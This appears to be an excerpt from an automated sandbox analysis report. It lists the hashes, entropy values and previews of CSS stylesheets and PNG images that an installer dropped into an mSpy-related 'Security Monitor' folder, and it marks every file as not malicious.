SHA-256:	FC4B85956CF6A007BEF8A531757A85F15C65937C717D6294B78D24688F36FF0F
SHA-512:	2D9E9A2B2B305B9178179D2A69322EABE394287F1C31A2D40B930C5A249433B1C646118D6EC67495926FE138306291A9C29F4F35004F18D9D5E1FB6267A20405
Malicious:	false
Reputation:	unknown
Preview:	/..AnythingSlider v1.8+ Default theme..By Chris Coyier: http://css-tricks.com..with major improvements by Doug Neiner: http://pixelgraphics.us/..based on work by Remy Sharp: http://jqueryfordesigners.com/./../***************************. SET DEFAULT DIMENSIONS HERE. **************************/./ change the ID & dimensions to match your slider /.#main_slider { ..width: 992px; ..height: 352px;..list-style: none;../ Prevent FOUC (see FAQ page) and keep things readable if javascript is disabled /..overflow-y: auto;..overflow-x: hidden;.}../.caption{..filter:alpha(opacity=0);..-moz-opacity: 0;..opacity: 0;.}/../***************. SET STYLING HERE. ***************. =================================. Default state (no keyboard focus). ==================================/./* Overall Wrapper /..anythingSlider-default {..margin: 0 auto;../ 45px right & left padding for the arrows, 28px @ bottom for navigation /..padding:0;.}./ slider window - top & bottom borders, default

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-BBRA8.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 520 x 260, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	163954
Entropy (8bit):	7.997380423199459
Encrypted:	true
SSDEEP:	3072:TXsC50/yArWhc9OsI3zpKpMy4HqUmHtcg/osHXLYlYbxl9NimU:AC5gGgZOKpx4+H0lYbxrK
MD5:	22DCF2D7C51348D365D4C6DB11AAA615
SHA1:	8CFDAD2E3F5757438D9B6A7E42E2EFC1D0378ED4
SHA-256:	30F40B224D899FADEB89099E87B702FAF573914259A955BF3861F4E970C8D9D0
SHA-512:	5B22757CA8BEF67B89CF23ACC51BF6B35F21D203939FE2D6C6E0FC5FCF17BA5486A982BA58141E052DDA8D1D58374E68ED33A2E15F359306AAD433EED80C9B24
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............[.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C31305036C6011E28948F21434340203" xmpMM:DocumentID="xmp.did:C31305046C6011E28948F21434340203"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C31305016C6011E28948F21434340203" stRef:documentID="xmp.did:C31305026C6011E28948F21434340203"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...p..\|.IDATx..G.$Iz&.*tD.\|.tuOuO..g0..X.....H..F.......N{ .<.@..5#y......b...aX..@...iY.....;.../2#2.j15Hk..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-CO9TR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-EKFRP.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	4.942541983682357
Encrypted:	false
SSDEEP:	24:hwyUwTlgKWSv5JZ0rKvG45jdSYqE2JeXNDs6izDNHZzz:h7+KZxJqQAeXi6i3Vtz
MD5:	6C9118F4F853D7ABC63505FD692D75F3
SHA1:	76B3CE5EC7FBEC277BD5357E2BD6AD2C461D2AEB
SHA-256:	077AA5312F62AC255FAB801D71E08970BC70E2DB469292BD9622B80EA15281C8
SHA-512:	1B81E2879067223419D09B4C6DF8A90F1255CD707EBEF0C490701E4701B721A7D4AC65860EB04083B51EB2F4CDD02D53AE880D6CD5534FF2A53C4824BE5D9E78
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /. { background:none !important;

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-MRVL5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4357
Entropy (8bit):	5.086666572264107
Encrypted:	false
SSDEEP:	48:h7+KZxJqQACHvdNOHAQVVZoxkVSmoAVxrYFQAR8/cr0Rx//rxCP7Rit/i7ri:hiex4CvdK30WvBcAMm9jxCP1iJini
MD5:	1BC699D294BA8BD26942A616C3EA89BF
SHA1:	A9D12A169CB0280B92DE02AB8C6C7C8DC1C1B378
SHA-256:	F54611C97CE99395B222F18FAB12115EA88182BD5FA922B8942DC5E792184D91
SHA-512:	895F0F099AE6A4CDF35B076B84D353762555A74C1A0FCA45DE438E2FD8E0468484FA4480FB84F94AEC42F2FC4EA5939E2A3107B446656D1ABFEAFAE86DCAA2D2
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0). /../ Widgets =======================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-NQJ6V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 346 x 54, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	20030
Entropy (8bit):	7.985863672702684
Encrypted:	false
SSDEEP:	384:KJXE050lAI9uOflF5XFBw+q7hYwPXsUoRGf0wp4vF:K350f95fl1uD7/XuC4vF
MD5:	E01B942B6936DF2AF64EE809086A5334
SHA1:	6601FE8901F8F131CF47352896B01C8DCFD4C963
SHA-256:	E5FEAB5FF923032A51C09F3D61DB2C4AE052CEA6691F034F397207EACC3C2283
SHA-512:	8B21E8B99218F8A0646A418BF3B184A7F8BA1A8061A60383E1EF0BECF85CD07DD68478AD8225A17ED1458DCCC49585B77FF77407F016D95FE57FAD3E8C305BE9
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...Z...6.......au....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-Q86D5.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	9410
Entropy (8bit):	4.808156480467523
Encrypted:	false
SSDEEP:	192:8xTTXb1y2qsr2WlPFGU6NQ78CodleKl5DJ:8Rysr2UgnXeKl59
MD5:	8FE70C8D484CF5852239704F1A614273
SHA1:	F13788A7DDCD3EA44A34779803CC8D27EC5C3C13
SHA-256:	6D46AD7400BA5FE7CADB930AEDAF0A8FEAD8609A5E26DCD48B274E6AC146DD94
SHA-512:	754CCE55105E01CD9668E2570212140022BB52FDC0FD02C60C34C8B691BC45D7B2187FCBA95FB9FC196D6F438154A22DAD4AFC044A3A1FC80024725AFA3066A6
Malicious:	false
Reputation:	unknown
Preview:	./! normalize.css v1.0.1 \| MIT License \| git.io/normalize /../* ==========================================================================. HTML5 display definitions. ========================================================================== /../. * Corrects `block` display not defined in IE 6/7/8/9 and Firefox 3.. /..article,.aside,.details,.figcaption,.figure,.footer,.header,.hgroup,.nav,.section,.summary {. display: block;.}../. * Corrects `inline-block` display not defined in IE 6/7/8/9 and Firefox 3.. /..audio,.canvas,.video {. display: inline-block;. display: inline;. zoom: 1;.}../. * Prevents modern browsers from displaying `audio` without controls.. * Remove excess height in iOS 5 devices.. /..audio:not([controls]) {. display: none;. height: 0;.}../. * Addresses styling for `hidden` attribute not present in IE 7/8/9, Firefox 3,. * and Safari 4.. * Known issue: no IE 6 support.. /..[hidden] {. display: none;.}../ ===========================

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-QVG6N.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 52 x 44, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	5834
Entropy (8bit):	7.9212427160575425
Encrypted:	false
SSDEEP:	96:PSDZ/I09Da01l+gmkyTt6Hk8nTNNtt/qXgfUmbtKXla2oVvcdWYrIgvPUSxMl:PSDS0tKg9E05TNNtlfUmIXlaZVvcdzIr
MD5:	F3E723BB70B07629C0A18763CD74EBE3
SHA1:	0450CC4E9FEC6C3FD446E2B3D3E68D03D37933A8
SHA-256:	1216AF29845B020BD410C9A4B0B2B0C6B2D528D5C6DDDA7BBDA0A905B4DDC84D
SHA-512:	0E9B25744201D9C3DFE27BE2497A2B6B769846A77E3CEADAB0A6B916B0F342A8EFC13A0817036883D36E7461276004D3B57CE648B9C4C771656CE6FE8B9FB071
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...4...,.....].......pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-T8J1V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	19946
Entropy (8bit):	7.9802553970586985
Encrypted:	false
SSDEEP:	384:PJXE05NCJU1LcNVmza+d5HrM5NKtj7iYGVRMS+GE1aSjk6N86:N35NCJU1LTRrw0tC1VRGGMbv7
MD5:	67762894881BFB63FB6961C18CB31251
SHA1:	0A1E5D5BF083BF5AB745CEF7F2F7DEEA28FA70D4
SHA-256:	9652BA4942B40A66C17785230946AB83320878DA3432B64B5815BFBFF267E247
SHA-512:	549A137F2E628D4BEEF1259F836FCEA8DD8E0C095F43DC9E1196CEA410CB232A7A6D8AE43501FA3DE78F6E242F2A66405E9543CF2B803DD1A9FFF2868A7DD653
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...P...P........;....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\is-V5L72.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	4266
Entropy (8bit):	4.888037026868242
Encrypted:	false
SSDEEP:	96:FL8hjXF4ZFQF9FN/bIbx/yG2aC98ZehV9KF5Kf5k8gItrGZWFXyLYPBYzzDGt50s:F4xCKHT/bIbty19ee79KF5K68gI/yLsT
MD5:	94AED20EA3D620951F905B410B0058B2
SHA1:	0D4EA80D39F277A92FD4946CFB60EDFDEC72FADD
SHA-256:	4A2DE64E3701F68BE8FE448B569E3E2D36E54EA4AC59C25C91209F657ADD6C89
SHA-512:	FC5C107B7275A54966CC575EFAB496BF8D1BC3048D4ACD8916A62E0FE8B29AEDB4C44DE4513645CD4837ED58EBDF337BC3C9768E427B2DB3CF5D86CE07050649
Malicious:	false
Reputation:	unknown
Preview:	.b-core-ui-select { . margin:10px 0 0 0;. position: relative;. width: 86%;. padding: 6px 10px 6px 12px;. font-size: 12px;. line-height: 18px;. color: #333;. text-shadow: 0 1px 1px rgba(255, 255, 255, 0.75);. cursor: pointer;. background-color: #f3f3f3;. background-image: -ms-linear-gradient(top, #f3f3f3, #fff);. background-image: -webkit-gradient(linear, 0 0, 0 100%, from(#f3f3f3), to(#fff));. background-image: -webkit-linear-gradient(top, #f3f3f3, #fff);. background-image: -o-linear-gradient(top, #f3f3f3, #fff);. background-image: linear-gradient(top, #f3f3f3, #fff);. background-image: -moz-linear-gradient(top, #f3f3f3, #fff);. background-repeat: repeat-x;. border: 1px solid #f1f1f1;. border-radius: 16px;. -webkit-box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. box-shadow:inset 2px 2px 2px 0px rgba(0, 0, 0, 0.4);. -webkit-user-select: none;. -moz-user-select: none;. -ms-user-select: none;. -o-user-select:

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\logos.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 122 x 295, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	29784
Entropy (8bit):	7.980725536896858
Encrypted:	false
SSDEEP:	384:RJXE05H3FyEuuqIMky+JU2JzDvj4Ygzc+Cv23bS5PdnFKo79yBbKafVLgkjPSTjG:z35I4qWNJVzAYkl3G51odZfmjymQ7l
MD5:	4C0A6A977EB10BA6ACB252E1C29141F7
SHA1:	3F5E32E79A7D3DB63C8D0BFF06CE43DF0EC6092F
SHA-256:	91853EDF8E536457D93044FCAA5412807368B6B6C88366E05738F3C8A4D031BC
SHA-512:	6C016AABA1B638EC8B2D22CE0AC4B23F662F9D2A372CA016ED5CFDDD72FAAD1A876600E78EEAB27DDE1FAAB47A43AE7CE805B33C43218240BAAC006DA74E569B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...z...'......9g.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\main.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	222581
Entropy (8bit):	5.08641292920484
Encrypted:	false
SSDEEP:	6144:nml2NjrkK/xiuWs5su3SIM9eCUQqWC5mK7C:nml2NjrkK/xDsu3DM9eCULWC5mK7C
MD5:	B278DC17F1D04A093886C43920057567
SHA1:	25B6F13A20A79632261A7117F55A3F6575EF1A38
SHA-256:	C4FF671620CD870A457D54F926592092B4323ADA8C085ED75CE3705F2DFA11EF
SHA-512:	BE7C6EA7174ED9F1DD6370B6E18C636C36228C75CD25BEA8E1FB87BEB337912F521AEE6F584A873A0C17DCA87A3E2EAE9F4C26A4F154B78E084AE8EB21E6C742
Malicious:	false
Reputation:	unknown
Preview:	@font-face {. font-family: 'TeXGyreHerosRegular';. src: url('../fonts/texgyreheros-regular-webfont.eot');. src: url('../fonts/texgyreheros-regular-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-regular-webfont.woff') format('woff'),. url('../fonts/texgyreheros-regular-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-regular-webfont.svg#TeXGyreHerosRegular') format('svg');. font-weight: normal;. font-style: normal;.}..@font-face {. font-family: 'TeXGyreHerosItalic';. src: url('../fonts/texgyreheros-italic-webfont.eot');. src: url('../fonts/texgyreheros-italic-webfont.eot?#iefix') format('embedded-opentype'),. url('../fonts/texgyreheros-italic-webfont.woff') format('woff'),. url('../fonts/texgyreheros-italic-webfont.ttf') format('truetype'),. url('../fonts/texgyreheros-italic-webfont.svg#TeXGyreHerosItalic') format('svg');. font-weight: normal;. font-style: normal;..}..@font-face {. font-family

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\mspy_products_home_slide1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 520 x 260, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	163954
Entropy (8bit):	7.997380423199459
Encrypted:	true
SSDEEP:	3072:TXsC50/yArWhc9OsI3zpKpMy4HqUmHtcg/osHXLYlYbxl9NimU:AC5gGgZOKpx4+H0lYbxrK
MD5:	22DCF2D7C51348D365D4C6DB11AAA615
SHA1:	8CFDAD2E3F5757438D9B6A7E42E2EFC1D0378ED4
SHA-256:	30F40B224D899FADEB89099E87B702FAF573914259A955BF3861F4E970C8D9D0
SHA-512:	5B22757CA8BEF67B89CF23ACC51BF6B35F21D203939FE2D6C6E0FC5FCF17BA5486A982BA58141E052DDA8D1D58374E68ED33A2E15F359306AAD433EED80C9B24
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............[.....tEXtSoftware.Adobe ImageReadyq.e<...$iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS6 (Macintosh)" xmpMM:InstanceID="xmp.iid:C31305036C6011E28948F21434340203" xmpMM:DocumentID="xmp.did:C31305046C6011E28948F21434340203"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:C31305016C6011E28948F21434340203" stRef:documentID="xmp.did:C31305026C6011E28948F21434340203"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>...p..\|.IDATx..G.$Iz&.*tD.\|.tuOuO..g0..X.....H..F.......N{ .<.@..5#y......b...aX..@...iY.....;.../2#2.j15Hk..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\photo1.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	PNG image data, 80 x 80, 8-bit/color RGBA, interlaced
Category:	dropped
Size (bytes):	19946
Entropy (8bit):	7.9802553970586985
Encrypted:	false
SSDEEP:	384:PJXE05NCJU1LcNVmza+d5HrM5NKtj7iYGVRMS+GE1aSjk6N86:N35NCJU1LTRrw0tC1VRGGMbv7
MD5:	67762894881BFB63FB6961C18CB31251
SHA1:	0A1E5D5BF083BF5AB745CEF7F2F7DEEA28FA70D4
SHA-256:	9652BA4942B40A66C17785230946AB83320878DA3432B64B5815BFBFF267E247
SHA-512:	549A137F2E628D4BEEF1259F836FCEA8DD8E0C095F43DC9E1196CEA410CB232A7A6D8AE43501FA3DE78F6E242F2A66405E9543CF2B803DD1A9FFF2868A7DD653
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...P...P........;....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\PR\1\mSpy\print.css (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1568
Entropy (8bit):	4.942541983682357
Encrypted:	false
SSDEEP:	24:hwyUwTlgKWSv5JZ0rKvG45jdSYqE2JeXNDs6izDNHZzz:h7+KZxJqQAeXi6i3Vtz
MD5:	6C9118F4F853D7ABC63505FD692D75F3
SHA1:	76B3CE5EC7FBEC277BD5357E2BD6AD2C461D2AEB
SHA-256:	077AA5312F62AC255FAB801D71E08970BC70E2DB469292BD9622B80EA15281C8
SHA-512:	1B81E2879067223419D09B4C6DF8A90F1255CD707EBEF0C490701E4701B721A7D4AC65860EB04083B51EB2F4CDD02D53AE880D6CD5534FF2A53C4824BE5D9E78
Malicious:	false
Reputation:	unknown
Preview:	/*. Magento. . NOTICE OF LICENSE. . This source file is subject to the Academic Free License (AFL 3.0). * that is bundled with this package in the file LICENSE_AFL.txt.. * It is also available through the world-wide-web at this URL:. * http://opensource.org/licenses/afl-3.0.php. * If you did not receive a copy of the license and are unable to. * obtain it through the world-wide-web, please send an email. * to license@magentocommerce.com so we can send you a copy immediately.. . DISCLAIMER. . Do not edit or add to this file if you wish to upgrade Magento to newer. * versions in the future. If you wish to customize Magento for your. * needs please refer to http://www.magentocommerce.com for more information.. . @category design. * @package default_modern. * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com). * @license 